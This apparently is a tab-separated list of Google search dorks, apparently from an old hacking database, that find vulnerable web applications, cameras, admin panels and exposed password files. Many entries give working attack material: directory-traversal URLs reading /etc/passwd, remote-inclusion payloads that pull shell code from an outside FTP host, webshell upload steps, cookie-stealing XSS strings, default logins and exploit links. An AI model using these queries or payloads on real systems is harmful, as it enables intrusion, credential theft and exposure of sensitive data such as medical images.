intext:"PhpGedView Version" intext:"final - index" -inurl:demo	intext:"PhpGedView Version" intext:"final - index" -inurl:demo	PHPGedView
intext:"Powered by DEV web management system" -dev-wms.sourceforge.net -demo	intext:"Powered by DEV web management system" -dev-wms.sourceforge.net -demo	DEV cms
intitle:"phpDocumentor web interface"	intitle:"phpDocumentor web interface"	Php Documentor < = 1.3.0 rc4 remote code xctn dork: intitle:"phpDocumentor web interface"advisory & poc exploit:http://rgod.altervista.org/phpdocumentor_130rc4_incl_expl.html
inurl:"tmtrack.dll?"	inurl:"tmtrack.dll?"	This query shows installations of Serena Teamtrack. (www.serena.com).You may be able to adjust the application entry point, by

		providing a command after the "tmtrack.dll?" like thistmtrack.dll?LoginPagetmtrack.dll?View&Template=viewand more.
intitle:Ovislink inurl:private/login	intitle:Ovislink inurl:private/login	Ovislink vpn login page.
intitle:":::::: INTELLINET IP Camera Homepage ::::::" OR inurl:/main_activex.asp OR inurl:/main_applet.cgi	intitle:":::::: INTELLINET IP Camera Homepage :::::	A variation on Jeffball55's original Intellinet Ip Camera.This search finds several more web cams.A suggested secondary search:"Administrator Menu" "camera Name" "Location" "frame rate" intitle:network.camera -pdfThanks jeffball.
filetype:pl intitle:"Ultraboard Setup"	filetype:pl intitle:"Ultraboard Setup"	setup pages to the ultraboard system.
inurl:install.pl intext:"Reading path paramaters" -edu	inurl:install.pl intext:"Reading path paramaters" -edu	Excelent information for foot holds. Everything from OS, to forum software, etc. Other exploits possible
inurl:build.err	inurl:build.err	General build error file. Can tell what modules are installed, the OS the compiler the language, in theory usernames and passwords could probably be found too.
intext:ViewCVS inurl:Settings.php	intext:ViewCVS inurl:Settings.php	CVs is a software used to keep track of changes to websites. You can review all updates and previous files wihtout actualy loging into CVS. It is possible to see password files, directory structure, how often is the website updated, previous code find exploits, etc.
"Powered by Midmart Messageboard" "Administrator Login"	"Powered by Midmart Messageboard" "Administrator Login"	Midmart Messageboard lets you run a highly customizable bulletin board with a very nice user interface (similar to Yahoo Clubs) on your web site in few minutes. Many other features included. Rar found it murfie cleaned it up.
inurl:install.pl intitle:GTchat	inurl:install.pl intitle:GTchat	Gtchat install file.You can disable the chat program or change the language

		without a admin username or password. You can also point the chatroom information to a different URL in theory using a crosscript to take over the the chatroom.
inurl:rpSys.html	inurl:rpSys.html	Web configuration pages for various types of systems. Many of these systems are not password protected.
intitle:"Horde :: My Portal" - "[Tickets"	intitle:"Horde :: My Portal" - "[Tickets"	Hi It will give you administrative ownership over Horde webmail system plus all users in Horde webmail system.. also php shell :) and much more ...Edited by CP
"Please re-enter your password It must match exactly"	"Please re-enter your password It must match exactly"	Invision Powerboard registration pages. Plain and simple.
intext:"Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed." -edu	intext:"Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed." -edu	The page to change admin passwords. Minor threat but the place to start an attack.
inurl:CrazyWWWBoard.cgi intext:"detailed debugging information"	inurl:CrazyWWWBoard.cgi intext:"detailed debugging information"	gives tons of private forum configuration information.examples: Global variables installed, what groups the default user, guest and admin belong to, file paths, OS and appache versions, encypted admin password.Also Crazyboard has known vulnerabilities.
intext:"Welcome to Taurus" "The Taurus Server Appliance" intitle:"The Taurus Server Appliance"	intext:"Welcome to Taurus" "The Taurus Server Appliance" intitle:"The Taurus Server Appliance"	Celestix Networks, Inc., the premier supplier of network server appliance, announces the Taurus(TM) Server Appliance, the all-in-one networking solution for the small to midsize business. The Taurus(TM) Server Appliance offers no compromise on functionality and scalability, and provides optimum efficiency at a lower

		price than traditional servers.With a single purchase, up to 250 users have integrated file and peripheral sharing, high-speed Internet access, email, scheduled back-up, VPN and secure firewall, anti-virus engine, and Intranet. Standard with built-in networking software and optimized applications, the Taurus(TM) supplies up to 40-GB of Internal storage. Seperate Admin and root password. Root password must be changed from the command prompt which means most Sysadmins won't change it from Default. Manuel hosted by the device no password needed.
inurl:wl.exe inurl:?SS1= intext:"Operating system:" -edu -gov -mil	inurl:wl.exe inurl:?SS1= intext:"Operating system:" -edu -gov -mil	List server apparently keeps track of many clients, not just Domains and hardware, but Operating systems as well. As always this information is able to be gained by Zero Packet methods.
inurl:setdo.cgi intext:"Set DO OK"	inurl:setdo.cgi intext:"Set DO OK"	Dcs-2100 camerasBy removing "intext:Set DO OK" you will get more hits but they will require a login. Set DO OK is almost always admin access, you will need to go to the root of the URL to use the camera.
intitle:"4images - Image Gallery Management System" and intext:"Powered by 4images 1.7.1"	intitle:"4images - Image Gallery Management System" and intext:"Powered by 4images 1.7.1"	Find web app: 4Images = 1.7.1This web app is vulenrable to remote code execution exploit.The url of exploit is this: http://milw0rm.com/id.php?id=1533Good hackingBy HaVoC
"not for public release" -.edu -.gov -.mil	"not for public release" -.edu -.gov -.mil	if you search through lots of these then you find some really juicy things, there files from police, airports, government companies all kind of stuff that is not meant to be seen by normal people.
(intitle:"metaframe XP Login")|(intitle:"metaframe Presentation server Login")	(intitle:"metaframe XP Login")|(intitle:"metaframe Presentation server Login")	Once you input any username, you'll get an error message. Try putting a script with some other fun commands in it. Just send some info off to be logged.If exploited correctly, could give you admin access to a network.

inurl:ids5web	inurl:ids5web	EasyAccess Web is a application to view radiological images online.Like in hospitals or universities.Problem is the default administrative login: wadm/wadmBe able to watch sensitive data and images.very bad...
filetype:sql "insert into" (pass|passwd|password)	filetype:sql "insert into" (pass|passwd|password)	Looks for SQL dumps containing cleartext or encrypted passwords.
"Powered by Simplog"	"Powered by Simplog"	searches for simplog which has directory traversal and XSS velnerabilites in version
"index of /" (upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl)	"index of /" (upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl)	searches for scripts that let you upload files which you can then execute on the server.
inurl:"/admin/configuration. php?" Mystore	inurl:"/admin/configuration. php?" Mystore	simply google inurl trick for Oscommerce for open administrator page.If no .htpassword is set for the admin folder of osCommerce then of course you can change any setting in the shop unless password security has been enabled on the admin console.Despite a few demo pages there are a few open admin pages for webshops.Simple patch if you are one is to place a .htpassword file in the root of the admin folder. -- J.R.Middleton
"powered by sblog" +"version 0.7"	"powered by sblog" +"version 0.7"	please go here for a writeup on the vulnerability.HTML injection.http://www.securityfocus.com/bid/17044
inurl:"NmConsole/Login.asp" | intitle:"Login - Ipswitch WhatsUp Professional 2005" | intext:"Ipswitch WhatsUp Professional 2005	inurl:"NmConsole/Login.asp" | intitle:"Login - Ipswitch WhatsUp Professional 2005" | intext:"Ipswitch WhatsUp Professional 2005 (SP1)" "Ipswitch, Inc"	Ipswitch Whats Up Monitoring 2005!This is a console for Network Monitoring, access beyond the portal will allow you to do various things, such as telnet to internal machines, reboot servers, gain server information such as IP address.If the Administrators have utilised WUG to

(SP1)" "Ipswitch, Inc"		its potential, they will have also made full Infrastructure MAPs available. Access beyond the portal is Gold Information, you would have access to information and services as if you were an Administrator.In addition, some of the links, allow you to go beyond the portal as a guest user, this still allows reconisance of various servers and details of them, including where they are located physically.For anybody that is interested, the Login Portal has a SQL based Backend.
filetype:asp + "[ODBC SQL"	filetype:asp + "[ODBC SQL"	This search returns more than just the one I saw already here. This one will return all ODBC SQL error pages including all data returned in the error. The information can range from simple data such as the table/row queried to full Database name etc.An attacker could take this information and use it to gain a foot hold into the SQL server and could use the information for an SQL injection attack.
intitle:"Joomla - Web Installer"	intitle:"Joomla - Web Installer"	Joomla! is a Content Management System (CMS) created by the same team that brought the Mambo CMS. This dork finds the Web Installer page. On newer versions, after you install, joomla asks to delete installation dir before to be functional.The Webinstaller gives an attacker information about the php configuration and rgod has even found a way to inject data into the configuration.php file, resulting in a DoS attack (see the forums for more info).The admin logon can be found searching: intitle:"- Administration [Joomla]" but there are no default passwords.
intitle:"Webview Logon Page"	http://www.google.com/search?q=intitle:%22Webview+Logon+Page%22&filter=0	This is the web interface for Alcatel's Omniswitch. Default login is: admin/switch.
(intitle:"PRTG	(intitle:"PRTG Traffic Grapher"	PRTG Traffic Grapher is Windows

Traffic Grapher" inurl:"allsensors")|(intitle:"PRTG Traffic Grapher - Monitoring Results")	inurl:"allsensors")|(intitle:"PRTG Traffic Grapher - Monitoring Results")	software for monitoring and classifying bandwidth usage. It provides system administrators with live readings and long-term usage trends for their network devices. The most common usage is bandwidth usage monitoring, but you can also monitor many other aspects of your network like memory and CPU utilizations.
intitle:"AR-*" "browser of frame dealing is necessary"	intitle:"AR-*" "browser of frame dealing is necessary"	A few Sharp printers ..
intitle:"WxGoos-" ("Camera image"|"60 seconds")	intitle:"WxGoos-" ("Camera image"|"60 seconds")	This is used in serverrooms and such where climate conditions are crucial to hardware health. If an attacker were to guess the password for the configuration page, then he can find POP3 passwords in plain text in the HTML source code.It runs on "I.T. Watchdogs, Inc. Embedded Web Server"
intext:"you to handle frequent configuration jobs easily and quickly" | intitle:"Show/Search other devices"	intext:"you to handle frequent configuration jobs easily and quickly" | intitle:"Show/Search other devices"	ELSA DSL lan modems.
intitle:"NAS" inurl:indexeng.html	intitle:"NAS" inurl:indexeng.html	Disk Online Server NAS device.
"Thank You for using WPCeasy"	"Thank You for using WPCeasy"	There is a SQL injection vulnerability in WPC.easy, resulting in full admin access to any remote attacker. Vendor was notified. http://www.securityfocus.com/archive/1/425395
intitle:"Skystream Networks Edge Media Router" - securitytracker.com	intitle:"Skystream Networks Edge Media Router" -securitytracker.com	skystream Networks Edge Media Router.
intitle:"Ethernet	intitle:"Ethernet Network Attached	Linksys network storage utility.

Network Attached Storage Utility"	Storage Utility"	
intitle:"GigaDrive Utility"	intitle:"GigaDrive Utility"	Linksys GigaDrive network storage utility.
intitle:"LOGREP - Log file reporting system" -site:itefix.no	intitle:"LOGREP - Log file reporting system" -site:itefix.no	Logrep is an open source log file Extraction and Reporting System by ITeF!x. This dork finds the logs that it creates.
inurl:2000 intitle:RemotelyAnywhere -site:realvnc.com	inurl:2000 intitle:RemotelyAnywhere -site:realvnc.comg	RemotelyAnywhere is a program that enables remote control, in the same matter as VNC. Once Logged in an attacker has almost complete control of the computer.
"Web-Based Management" "Please input password to login" -inurl:johnny.ihackstuff.com	"Web-Based Management" "Please input password to login" -inurl:johnny.ihackstuff.com	This dork finds firewall/vpn products from fiber logic. They only require a one-factor authentication.
intitle:"DVR Client" -the -free -pdf -downloads -blog -download -dvrtop	intitle:"DVR Client" -the -free -pdf -downloads -blog -download -dvrtop	This dork finds digital video recording client from Nuvico.
"OK logout" inurl:vb.htm?logout=1	"OK logout" inurl:vb.htm?logout=1	This is a google dork for Hunt Electronics web cams. To get to the cameras remove the vb.htm?logout=1 from the url.
intitle:"Edr1680 remote viewer"	intitle:"Edr1680 remote viewer"	This search finds the 1680 series digital video recorder from EverFocus.
inurl:"vsadmin/login" | inurl:"vsadmin/admin" inurl:.php|.asp -"Response.Buffer = True" -javascript	inurl:"vsadmin/login" | inurl:"vsadmin/admin" inurl:.php|.asp -"Response.Buffer = True" -javascript	Ecommerce templates makes a online shopping cart solution. This search finds the admin login.
intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman	intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman	Webmail is a http based email server made by atmail.com. To get to the admin login instead of regular login add webadmin/ to the url.
inurl:"calendarscri	inurl:"calendarscript/users.txt"	CalenderScript is an overpriced online

pt/users.txt"		calender system written in perl. The passwords are encrypted using perl's crypt() function which I think DES encrypts things. However if the computer the calender script is on doesn't support the crypt function the are plaintext. Changing calender dates might not sound useful but people reuse passwords so who knows? Also search for the logins:intitle:"Calendar Administration : Login" | inurl:"calendar/admin/index.asp" -demo -demos Then to get the passwords change the url fromwxw.calendersiteexample.com/thissite/calendar_admin.cgitowxw.calendersiteexample.com/thissite/calendarscript/users.txt The defaults are anonymous/anonymous and Administrator/Administrator.
intitle:"EZPartner" -netpond	intitle:"EZPartner" -netpond	EZPartner is a great marketing tool that will help you increase your sales by sending webmaster affiliate traffic to your sites. This search finds the logins.
"Powered by Loudblog"	"Powered by Loudblog"	this dork is for the LoudBlog
"This website engine code is copyright" "2005 by Clever Copy" -inurl:demo	"This website engine code is copyright" "2005 by Clever Copy" -inurl:demo	Clever Copy
"index of" intext:fckeditor inurl:fckeditor	"index of" intext:fckeditor inurl:fckeditor	"index of" intext:fckeditor inurl:fckeditor this dork is for FCKEditor scriptthrough editor/filemanager/browser/default/connectors/connector.php script a user can upload malicious contempt on target machine including php code and launch commands... however if you do not succeed to execute the shell, FCKEditor is integrated in a lot of applications, you can check for a local inclusion issue inside of them... this tool make the dirty work for 2.0 - 2.2 versions:

		http://retrogod.altervista.org/fckeditor_22_xpl.html
"powered by runcms" -runcms.com -runcms.org	"powered by runcms" -runcms.com -runcms.org	"powered by runcms" -runcms.com -runcms.org all versions
inurl:docmgr | intitle:"DocMGR" "enter your Username and"|"und Passwort bitte"|"saisir votre nom"|"su nombre de usuario" -ext:pdf -inurl:"download.php	inurl:docmgr | intitle:"DocMGR" "enter your Username and"|"und Passwort bitte"|"saisir votre nom"|"su nombre de usuario" -ext:pdf -inurl:"download.php	exploit and short explaination: http://retrogod.altervista.org/docmgr_0542_incl_xpl.html
(intitle:"Flyspray setup"|"powered by flyspray 0.9.7") -flyspray.rocks.cc	(intitle:"Flyspray setup"|"powered by flyspray 0.9.7") -flyspray.rocks.cc	exploiting a bug in EGS Enterprise Groupware System 1.0 rc4, I found this dork: (intitle:"Flyspray setup"|"powered by flyspray 0.9.7") -flyspray.rocks.cc It is related to the installation script of FileSpray 0.9.7, now I'm going to test 0.9.8-9 by now switch to sql/ directory and search the install-0.9.7.php script explaination link: http://retrogod.altervista.org/egs_10rc4_php5_incl_xpl.htmlexploit adjusted for flyspray: http://retrogod.altervista.org/flyspray_097_php5_incl_xpl.html
intext:"LinPHA Version" intext:"Have fun"	intext:"LinPHA Version" intext:"Have fun"	this is for Linpha
inurl:updown.php | intext:"Powered by PHP Uploader Downloader"	inurl:updown.php | intext:"Powered by PHP Uploader Downloader"	this (evil) script lets you to upload a php shell on target server, in most cases not password protected dork: inurl:updown.php | intext:"Powered by PHP Uploader Downloader" a note: sometimes you don't see a link to a list of uploaded files... just switch to http://[target]/[path]/updown.php?actio

		n=download
("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net -Zoekinalles.nl -analysis	("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net -Zoekinalles.nl -analysis	dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net -Zoekinalles.nl -analysis software: http://nocc.sourceforge.net/ this is for Nocc Webmail multiple arbitrary local inclusion, multiple xss & possible remote code execution flaws I found: example of arbitrary local inclusion: http://[target]/[path]/html/footer.php?cmd=dir&_SESSION[nocc_theme]=../../../../../../../../test.php%00 http://[target]/[path]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/index.php?lang=fr&theme=../../../../../../../../../../../etc/passwd%00 http://[target]/[path]/index.php?lang=../../../../../../../../../../../test example of commands execution (including an uploaded mail attachment with php code inside, filename is predictable...) http://[target]/[path]/index.php?cmd=dir&lang=../tmp/php331.tmp1140514888.att%00 xss: http://[target]/[path]/html/error.php?html_error_occurred=alert(document.cookie) http://[target]/[path]/html/filter_prefs.php?html_filter_select=alert(document.cookie) http://[target]/[path]/html/no_mail.php?html_no_mail=alert(document.cookie) http://[target]/[path]/html/html_bottom_table.php?page_line=alert(document.cookie) http://[target]/[path]/html/html_bottom_table.php?prev=alert(document.cookie) http://[target]/[path]/html/html_bottom_table.php?next=alert(document.cookie) http://[target]/[path]/html/footer.php?_SESSION[nocc_theme]=">alert(docum

		ent.cookie) full advisory & poc exploit: http://retrogod.altervista.org/noccw_10_incl_xpl.html
intitle:"igenus webmail login"	intitle:"igenus webmail login"	intitle:"igenus webmail login"example exploit: http://[target]/[path]/?Lang=../../../../../../../../../../etc/passwd%00 http://[target]/[path]/config/config_inc.php?SG_HOME=../../../../../../../../../../etc/passwd%00 also, on php5: http://[target]/[path]/config/config_inc.php?SG_HOME=ftp://username:password@somehost.com&cmd=dir where on somehost.com you have a php shell code in a ".config" file exploit code: http://retrogod.altervista.org/igenus_202_xpl_pl.html
allintitle:"FirstClass Login"	allintitle:"FirstClass Login"	allintitle:"FirstClass Login" this is for firstclass directory listingsgo to http://[target]/[path]/Search type just ' in search field and you have a list of downloadable files, you don't see all files on server but you can search for a robots.txt with some folders path or other info for site scructure, crawling in this way you have unauthorized access on all files on the target server
"powered by 4images"	"powered by 4images"	this is for 4images
intext:"Powered By Geeklog" - geeklog.net	intext:"Powered By Geeklog" - geeklog.net	dork: intext:"Powered By Geeklog" - geeklog.net this is for the vulnerability discovered by GulfTech research, related stuff: (*) http://www.gulftech.org/?node=research&article_id=00102-02192006 http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=geeklog&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0 exploit for (*) : http://retrogod.altervista.org/geeklog_1_4_xpl_php_.html (php) http://retrogod.altervista.org/geeklog_1_4_xpl_perl_.html (perl...mphhh)

intitle:admbook intitle:version filetype:php	intitle:admbook intitle:version filetype:php	intitle:admbook intitle:version filetype:php tested version: 1.2.2, you can inject php code in config-data.php and execute commands on target through X-FOWARDED FOR http header when you post a message also you can see phpinfo(): http://[target]/[path]/admin/info.phpperl exploit:http://retrogod.altervista.org/admbook_122_xpl.html
WEBalbum 2004-2006 duda -ihackstuff -exploit	WEBalbum 2004-2006 duda -ihackstuff -exploit	dork: WEBalbum 2004-2006 duda -ihackstuff -exploitsoftware site: http://www.web-album.org/ advisory/ poc exploit: http://retrogod.altervista.org/webalbum_202pl_local_xpl.html
intext:"Powered by Plogger!" -plogger.org -ihackstuff -exploit	intext:"Powered by Plogger!" -plogger.org -ihackstuff -exploit	explaination & exploit: http://retrogod.altervista.org/plogger_b21_sql_xpl.html
intext:"powered by gcards" -ihackstuff -exploit	intext:"powered by gcards" -ihackstuff -exploit	this is for gcards
"powered by php icalendar" -ihackstuff -exploit	"powered by php icalendar" -ihackstuff -exploit	this is for php iCalendar
"powered by guestbook script" -ihackstuff -exploit	"powered by guestbook script" -ihackstuff -exploit	poc exploit & explaination: http://retrogod.altervista.org/gbs_17_xpl_pl.html
"Powered by XHP CMS" -ihackstuff -exploit -xhp.targetit.ro	"Powered by XHP CMS" -ihackstuff -exploit -xhp.targetit.ro	tested version: 0.5 without to have admin rights, you can go to: http://[target]/path_to_xhp_cms]/inc/htmlarea/plugins/FileManager/manager.php or http://[target]/path_to_xhp_cms]/inc/htmlarea/plugins/FileManager/standalonemanager.php to upload a shell with the usual code inside... after: http://[target]/[path]/filemanager/shell.php?cmd=ls%20-la tool: http://retrogod.altervista.org/XHP_CMS_05_xpl.html
inurl:*.exe ext:exe	inurl:*.exe ext:exe inurl:/*cgi*/	a cgi-bin executables xss/html injection

inurl:/*cgi*/		miscellanea:some examples:inurl:keycgi.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/keycgi.exe?cmd=download&product=">[XSS HERE] inurl:wa.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/wa.exe?SUBED1=">[XSS HERE] inurl:mqinterconnect.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/mqinterconnect.exe?poi1iconid=11111&poi1streetaddress=">[XSS HERE]&poi1city=city&poi1state=OK inurl:as_web.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/as_web.exe?[XSS HERE]+B+wishes inurl:webplus.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/webplus.exe?script=">[XSS HERE] inurl:odb-get.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/odb-get.exe?WIT_template=">[XSS HERE]&WIT_oid=what::what::1111&m=1&d= inurl:hcapstat.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/hcapstat.exe?CID=">[XSS HERE]&GID=&START=110&SBN=OFF&ACTION=Submit inurl:webstat.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/webstat.exe?A=X&RE=">[XSS HERE] inurl:cows.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/cows/cows.exe?cgi_action=tblBody&sort_by=">[XSS HERE] inurl:findifile.exe ext:exe inurl:/*cgi*/ xss: http://[target]/[path]/cgi-bin/findfile.exe?SEEKER=">[XSS HERE]&LIMIT=50&YEAR=> inurl:baserun.exe ext:exe inurl:/*cgi*/

		xss: http://[target]/[path]/cgi-bin/baserun.exe?_cfg=">[XSS HERE] inurl:Users.exe ext:exe inurl:/*cgi*/ html injection: http://[target]/[path]/cgi-bin/Users.exe?SITEID=[html]
"powered by claroline" -demo	"powered by claroline" -demo	this is for Claroline e-learning platform
"PhpCollab . Log In" | "NetOffice . Log In" | (intitle:"index.of." intitle:phpcollab|netoffice inurl:phpcollab|netoffice -gentoo)	"PhpCollab . Log In" | "NetOffice . Log In" | (intitle:"index.of." intitle:phpcollab|netoffice inurl:phpcollab|netoffice -gentoo)	this is for PhpCollab 2.x / NetOffice 2.x sql injectionhttp://retrogod.altervista.org/phpcollab_2x-netoffice_2x_sql_xpl.html
inurl:/counter/index.php intitle:"+PHPCounter 7.*"	inurl:/counter/index.php intitle:"+PHPCounter 7.*"	This is an online vulnerable web stat program called PHPCounter 7.http://www.clydebelt.org.uk/counter/help.html It has several public vulnerabilities in versions 7.1 and 7.2 that include cross site scripting and unauthorized information disclosure.
intext:"2000-2001 The phpHeaven Team" -sourceforge	intext:"2000-2001 The phpHeaven Team" -sourceforge	this is the dork for PHPMyChat
"2004-2005 ReloadCMS Team."	"2004-2005 ReloadCMS Team."	this is for ReloadCMS
intext:"2000-2001 The phpHeaven Team" -sourceforge	intext:"2000-2001 The phpHeaven Team" -sourceforge	intext:"2000-2001 The phpHeaven Team" -sourceforge this is for PHPMyChat remote commands execution,advisory/poc exploits:http://retrogod.altervista.org/phpmychat_0145_xpl.htmlhttp://retrogod.altervista.org/phpmychat_015dev_xpl.html
inurl:server.php ext:php intext:"No SQL" -Released	inurl:server.php ext:php intext:"No SQL" -Released	vulnerabilitydiscovered by Secunia, quick reference:http://www.securityfocus.com/bid/16187an example of exploit for PHPOpenChat:http://retrogod.altervista.org/phpopenchat_30x_sql_xpl.htmla

		DOS exploit:http://retrogod.altervista.org/adodb_dos.html
intitle:PHPOpenChat inurl:"index.php?language="	intitle:PHPOpenChat inurl:"index.php?language="	exploit:http://retrogod.altervista.org/phpopenchat_30x_sql_xpl.htmlalso, information disclosure:http://[target]/[path]/include/adodb/tests/tmssql.php?do=phpinfoand denial of service on some windows system, multiple requests of:http://[target]/[path]/include/adodb/tests/tmssql.php?do=closelog
"powered by phplist" | inurl:"lists/?p=subscribe" | inurl:"lists/index.php?p=subscribe" -ubbi -bugs +phplist -tincan.co.uk	"powered by phplist" | inurl:"lists/?p=subscribe" | inurl:"lists/index.php?p=subscribe" -ubbi -bugs +phplist -tincan.co.uk	this is for PHPList 2.10.2 arbitrary local inclusion, discovered by me:advisory/poc exploit: http://retrogod.altervista.org/phplist_2102_incl_xpl.html
inurl:"extras/update.php" intext:mysql.php -display	inurl:"extras/update.php" intext:mysql.php -display	this is an osCommerce dork:inurl:"extras/update.php" intext:mysql.php -display or more simply: inurl:"extras/update.php" -display (this display some more hosts where error_reporting=0) I found this simple exploit, if extras/ folder is inside the www path, you can view all files on target system, including php files and so on, ex: http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php http://[target]/[path]/extras/update.php?read_me=0&readme_file=../index.php http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/fstab also, if you succeed to view configure script with database details, you can connect to it trough some test scripts inside this folder...now I read this:http://www.securityfocus.com/bid/14294/infothis is actually unpatched/unresolved in 2.2 on Apr

		2006
inurl:sysinfo.cgi ext:cgi	inurl:sysinfo.cgi ext:cgi	dork:inurl:sysinfo.cgi ext:cgi exploit: http://www.milw0rm.com/exploits/1677 I found this command execution vulnerability in 1.2.1 but other versions maybe vulnerable toohowever, u can see version in google results
inurl:perldiver.cgi ext:cgi	inurl:perldiver.cgi ext:cgi	dork: inurl:perldiver.cgi ext:cgi some interesting info about server and a cross site scripting vulnerability, poc: http://[target]/[path]/cgi-bin/perldiver.cgi?action=20&alert("lol")other reference:http://secunia.com/advisories/16888/
inurl:tmssql.php ext:php mssql pear adodb -cvs -akbk	inurl:tmssql.php ext:php mssql pear adodb -cvs -akbk	dork:inurl:tmssql.php ext:php mssql pear adodb -cvs -akbka remote user can execute an arbitrary function (without arguments) example: http://[target]/[path]/tmssql.php?do=phpinfo reference:http://www.osvdb.org/displayvuln.php?osvdb_id=22291 I also discovered that you can crash some win boxes / apache servers by sendingmultiple requests of http://[target]/[path]/tmssql.php?do=closelogsee:http://www.milw0rm.com/exploits/1651
"powered by php photo album" | inurl:"main.php?cmd=album" -demo2 -pitanje	"powered by php photo album" | inurl:"main.php?cmd=album" -demo2 -pitanje	dork: "powered by php photo album" | inurl:"main.php?cmd=album" -demo2 -pitanje poc: if register_globals = On & magic_quotes_gpc = Off http://[target]/[path]/language.php?data_dir=/etc/passwd%00 on, php5, if register_globals = on: http://[target]/[path]/language.php?cmd=ls%20-la&data_dir=ftp://Anonymous:fakemail.com@somehost.com/public/ where on ftp you have a translation.dat file with shellcode inside references: http://retrogod.altervista.org/phpalbum_0323_incl_xpl.html http://www.securityfocus.com/bid/175

		26
intitle:"IVC Control Panel"	intitle:"IVC Control Panel"	this searches for security cameras, vendor site:http://www.ivcco.com/
(intitle:MOBOTIX intitle:PDAS) | (intitle:MOBOTIX intitle:Seiten) | (inurl:/pda/index.html +camera)	(intitle:MOBOTIX intitle:PDAS) | (intitle:MOBOTIX intitle:Seiten) | (inurl:/pda/index.html +camera)	more cams...vendor site: http://www.mobotix.com/layout/set/index/language/index
intitle:"MvBlog powered"	intitle:"MvBlog powered"	MvBlog is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.http://www.securityfocus.com/bid/17481/discuss
"powered by active php bookmarks" | inurl:bookmarks/view_group.php?id=	"powered by active php bookmarks" | inurl:bookmarks/view_group.php?id=	Active PHP Bookmarks, a web based bookmark manager, was originally developed by Brandon Stone. Due to lack of time he has withdrawn himself from the project, however keeping his development forum on-line. On December 3rd 2004 this APB-forum, which was still the home of a small but relatively active community, was compromised. All content of the forum was lost, including links to important user contributed patches for the APB code.exploit (i haven't tested it)http://www.securityfocus.com/archive/1/305392my version of exploithttp://fr0zen.no-ip.org/apbn-0.2.5_remote_incl_xpl.phps

Please enter a valid password! inurl:polladmin	Please enter a valid password! inurl:polladmin	The PHP Poll Wizard 2 ist a powerful and easy-to-use PHP-Script for creating and managing polls.more generic dork:"Powered by PHP Poll Wizard" | intitle:"php poll wizard"
"Warning: Division by zero in" "on line" -forum	"Warning: Division by zero in" "on line" -forum	Just another error that reveals full paths.
inurl:resetcore.php ext:php	inurl:resetcore.php ext:php	e107 is a content management system written in php and using the popular open source mySQL database system for content storage. It's completely free and totally customisable, and in constant development.rgods exploit:http://retrogod.altervista.org/e107remote.html
"Warning: mysql_connect(): Access denied for user: '*@*" "on line" -help -forum	"Warning: mysql_connect(): Access denied for user: '*@*" "on line" -help -forum	This dork reveals logins to databases that were denied for some reason.
"Warning:" "failed to open stream: HTTP request failed" "on line"	"Warning:" "failed to open stream: HTTP request failed" "on line"	Just another error message.
"Warning: Bad arguments to (join|implode) () in" "on line" -help -forum	"Warning: Bad arguments to (join|implode) () in" "on line" -help -forum	and another error. open it from cache when not working.
"Unable to jump to row" "on MySQL result index" "on line"	"Unable to jump to row" "on MySQL result index" "on line"	another error message
"This script was created by Php-ZeroNet" "Script . Php-ZeroNet"	"This script was created by Php-ZeroNet" "Script . Php-ZeroNet"	Php-ZeroNet is a script comprised of php allowing webmasters to start a online community. Php-ZeroNet features Content Management, News posting, User CP, interactive sytem, etc. Php-ZeroNet uses a wide range of different cases in its script, it can adaptmy exploit:http://fr0zen.no-ip.org/phpnetzero-1.2.1_xpl.phps

"You have not provided a survey identification number" ERROR - xoops.org "please contact"	"You have not provided a survey identification num	sql injection:http://www.securityfocus.com/bid/16077/discussremote command execution:http://retrogod.altervista.org/phpsurveyor_0995_xpl.html
intitle:"HelpDesk" "If you need additional help, please email helpdesk at"	intitle:"HelpDesk" "If you need additional help, please email helpdesk at"	it's another helpdesk application.my exploit:http://fr0zen.no-ip.org/phphelpdesk-0.6.16_rcxcn_xpl.phps
inurl:database.php | inurl:info_db.php ext:php "Database V2.*" "Burning Board *"	inurl:database.php | inurl:info_db.php ext:php "Database V2.*" "Burning Board *"	this is for Woltlab Burning Board 2.x (Datenbank MOD fileid)exploit:http://seclists.org/lists/bugtraq/2006/Mar/0058.html
inurl:"php121login.php"	inurl:"php121login.php"	"PHP121 is a free web based instant messenger - written entirely in PHP. This means that it will work in any browser on any operating system including Windows and Linux, anywhere!"
"The statistics were last updated" "Daily"-microsoft.com	"The statistics were last updated" "Daily"-microsoft.com	Results include many varius Network activity logs
intitle:"Employee Intranet Login"	intitle:"Employee Intranet Login"	Intranet login pages by decentrix.com
intitle:"Uploader - Uploader v6" - pixloads.com	intitle:"Uploader - Uploader v6" - pixloads.com	File upload servers, dangerous if used in couple with mytrashmail.com
